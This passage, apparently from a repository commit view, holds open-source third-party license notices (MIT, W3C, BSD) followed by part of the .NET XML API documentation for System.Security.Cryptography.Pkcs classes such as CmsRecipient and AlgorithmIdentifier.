in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Copyright (c) 2011 Novell, Inc (http://www.novell.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Third party notice for W3C
--------------------------
"W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE
Status: This license takes effect 13 May, 2015.
This work is being provided by the copyright holders under the following license.
License
By obtaining and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions.
Permission to copy, modify, and distribute this work, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the work or portions thereof, including modifications:
The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, the W3C Software and Document Short Notice should be included.
Notice of any changes or modifications, through a copyright statement on the new code or document such as "This software or document includes material copied from or derived from [title and URI of the W3C document]. Copyright © [YEAR] W3C® (MIT, ERCIM, Keio, Beihang)."
Disclaimers
THIS WORK IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENT WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENT.
The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the work without specific, written prior permission. Title to copyright in this work will at all times remain with copyright holders."
License notice for Bit Twiddling Hacks
--------------------------------------
Bit Twiddling Hacks
By Sean Eron Anderson
seander@cs.stanford.edu
Individually, the code snippets here are in the public domain (unless otherwise
noted) — feel free to use them however you please. The aggregate collection and
descriptions are © 1997-2005 Sean Eron Anderson. The code and descriptions are
distributed in the hope that they will be useful, but WITHOUT ANY WARRANTY and
without even the implied warranty of merchantability or fitness for a particular
purpose.
License notice for Brotli
--------------------------------------
Copyright (c) 2009, 2010, 2013-2016 by the Brotli Authors.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
compress_fragment.c:
Copyright (c) 2011, Google Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
decode_fuzzer.c:
Copyright (c) 2015 The Chromium Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."

View File

@ -0,0 +1,760 @@
<?xml version="1.0" encoding="utf-8"?><doc>
<assembly>
<name>System.Security.Cryptography.Pkcs</name>
</assembly>
<members>
<member name="T:System.Security.Cryptography.CryptographicAttributeObject">
<summary>Contains a type and a collection of values associated with that type.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObject.#ctor(System.Security.Cryptography.Oid)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> class using an attribute represented by the specified <see cref="T:System.Security.Cryptography.Oid"></see> object.</summary>
<param name="oid">The attribute to store in this <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object.</param>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObject.#ctor(System.Security.Cryptography.Oid,System.Security.Cryptography.AsnEncodedDataCollection)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> class using an attribute represented by the specified <see cref="T:System.Security.Cryptography.Oid"></see> object and the set of values associated with that attribute represented by the specified <see cref="T:System.Security.Cryptography.AsnEncodedDataCollection"></see> collection.</summary>
<param name="oid">The attribute to store in this <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object.</param>
<param name="values">The set of values associated with the attribute represented by the oid parameter.</param>
<exception cref="T:System.InvalidOperationException">The collection contains duplicate items.</exception>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObject.Oid">
<summary>Gets the <see cref="T:System.Security.Cryptography.Oid"></see> object that specifies the object identifier for the attribute.</summary>
<returns>The object identifier for the attribute.</returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObject.Values">
<summary>Gets the <see cref="T:System.Security.Cryptography.AsnEncodedDataCollection"></see> collection that contains the set of values that are associated with the attribute.</summary>
<returns>The set of values that is associated with the attribute.</returns>
</member>
<member name="T:System.Security.Cryptography.CryptographicAttributeObjectCollection">
<summary>Contains a set of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.#ctor(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> class, adding a specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> to the collection.</summary>
<param name="attribute">A <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object that is added to the collection.</param>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Add(System.Security.Cryptography.AsnEncodedData)">
<summary>Adds the specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object to the collection.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object to add to the collection.</param>
<returns>true if the method returns the zero-based index of the added item; otherwise, false.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Add(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Adds the specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to the collection.</summary>
<param name="attribute">The <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to add to the collection.</param>
<returns>true if the method returns the zero-based index of the added item; otherwise, false.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">The specified item already exists in the collection.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.CopyTo(System.Security.Cryptography.CryptographicAttributeObject[],System.Int32)">
<summary>Copies the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection to an array of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects that the collection is copied to.</param>
<param name="index">The zero-based index in array to which the collection is to be copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">null was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.Count">
<summary>Gets the number of items in the collection.</summary>
<returns>The number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.GetEnumerator">
<summary>Gets a <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectEnumerator"></see> object for the collection.</summary>
<returns>true if the method returns a <see cref="System.Security.Cryptography.CryptographicAttributeObjectEnumerator"></see> object that can be used to enumerate the collection; otherwise, false.</returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.Item(System.Int32)">
<summary>Gets the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object at the specified index in the collection.</summary>
<param name="index">An <see cref="T:System.Int32"></see> value that represents the zero-based index of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to retrieve.</param>
<returns>The <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object at the specified index.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Remove(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Removes the specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the collection.</summary>
<param name="attribute">The <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to remove from the collection.</param>
<exception cref="T:System.ArgumentNullException"><paramref name="attribute">attribute</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#CopyTo(System.Array,System.Int32)">
<summary>Copies the elements of this <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection to an <see cref="T:System.Array"></see> array, starting at a particular index.</summary>
<param name="array">The one-dimensional <see cref="T:System.Array"></see> array that is the destination of the elements copied from this <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see>. The <see cref="T:System.Array"></see> array must have zero-based indexing.</param>
<param name="index">The zero-based index in array at which copying begins.</param>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>Returns an enumerator that iterates through the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>An <see cref="System.Collections.IEnumerator"></see> object that can be used to iterate through the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.CryptographicAttributeObjectEnumerator">
<summary>Provides enumeration functionality for the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection. This class cannot be inherited.</summary>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.Current">
<summary>Gets the current <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object that represents the current cryptographic attribute in the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.MoveNext">
<summary>Advances the enumeration to the next <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object in the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>true if the enumeration successfully moved to the next <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object; false if the enumerator is at the end of the enumeration.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.Reset">
<summary>Resets the enumeration to the first <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object in the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.System#Collections#IEnumerator#Current">
<summary>Gets the current <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object that represents the current cryptographic attribute in the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class defines the algorithm used for a cryptographic operation.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class by using a set of default parameters.</summary>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class with the specified algorithm identifier.</summary>
<param name="oid">An object identifier for the algorithm.</param>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid,System.Int32)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class with the specified algorithm identifier and key length.</summary>
<param name="oid">An object identifier for the algorithm.</param>
<param name="keyLength">The length, in bits, of the key.</param>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.KeyLength">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.KeyLength"></see> property sets or retrieves the key length, in bits. This property is not used for algorithms that use a fixed key length.</summary>
<returns>An int value that represents the key length, in bits.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.Oid">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.Oid"></see> property sets or retrieves the <see cref="T:System.Security.Cryptography.Oid"></see> object that specifies the object identifier for the algorithm.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that represents the algorithm.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipient">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class defines the recipient of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.X509Certificates.X509Certificate2)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.X509Certificates.X509Certificate2)"></see> constructor constructs an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class by using the specified recipient certificate.</summary>
<param name="certificate">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that represents the recipient certificate.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2)"></see> constructor constructs an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class by using the specified recipient identifier type and recipient certificate.</summary>
<param name="recipientIdentifierType">A member of the <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of the identifier of the recipient.</param>
<param name="certificate">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that represents the recipient certificate.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipient.Certificate">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipient.Certificate"></see> property retrieves the certificate associated with the recipient.</summary>
<returns>An <see cref="System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that holds the certificate associated with the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipient.RecipientIdentifierType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipient.RecipientIdentifierType"></see> property retrieves the type of the identifier of the recipient.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of the identifier of the recipient.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class represents a set of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects. <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> implements the <see cref="T:System.Collections.ICollection"></see> interface.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class and adds the specified recipient.</summary>
<param name="recipient">An instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class that represents the specified CMS/PKCS #7 recipient.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class and adds recipients based on the specified subject identifier and set of certificates that identify the recipients.</summary>
<param name="recipientIdentifierType">A member of the <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of subject identifier.</param>
<param name="certificates">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that contains the certificates that identify the recipients.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Add(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Add(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method adds a recipient to the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient to add to the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</param>
<returns>If the method succeeds, the method returns an <see cref="System.Int32"></see> value that represents the zero-based position where the recipient is to be inserted.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="recipient">recipient</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Array,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Array,System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection to an array.</summary>
<param name="array">An <see cref="T:System.Array"></see> object to which the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">
<paramref name="array">array</paramref> is not large enough to hold the specified elements.
-or-
<paramref name="array">array</paramref> does not contain the proper number of dimensions.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="array">array</paramref> is null.</exception>
<exception cref="T:System.ArgumentOutOfRangeException"><paramref name="index">index</paramref> is outside the range of elements in <paramref name="array">array</paramref>.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Security.Cryptography.Pkcs.CmsRecipient[],System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Security.Cryptography.Pkcs.CmsRecipient[],System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection to a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> array.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects where the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index for the array of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects in array to which the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">
<paramref name="array">array</paramref> is not large enough to hold the specified elements.
-or-
<paramref name="array">array</paramref> does not contain the proper number of dimensions.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="array">array</paramref> is null.</exception>
<exception cref="T:System.ArgumentOutOfRangeException"><paramref name="index">index</paramref> is outside the range of elements in <paramref name="array">array</paramref>.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Count">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Count"></see> property retrieves the number of items in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>An <see cref="System.Int32"></see> value that represents the number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Item(System.Int32)">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Item(System.Int32)"></see> property retrieves the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object at the specified index in the collection.</summary>
<param name="index">An <see cref="T:System.Int32"></see> value that represents the index in the collection. The index is zero based.</param>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object at the specified index.</returns>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Remove(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Remove(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method removes a recipient from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient to remove from the collection.</param>
<exception cref="T:System.ArgumentNullException"><paramref name="recipient">recipient</paramref> is null.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#ICollection#SyncRoot">
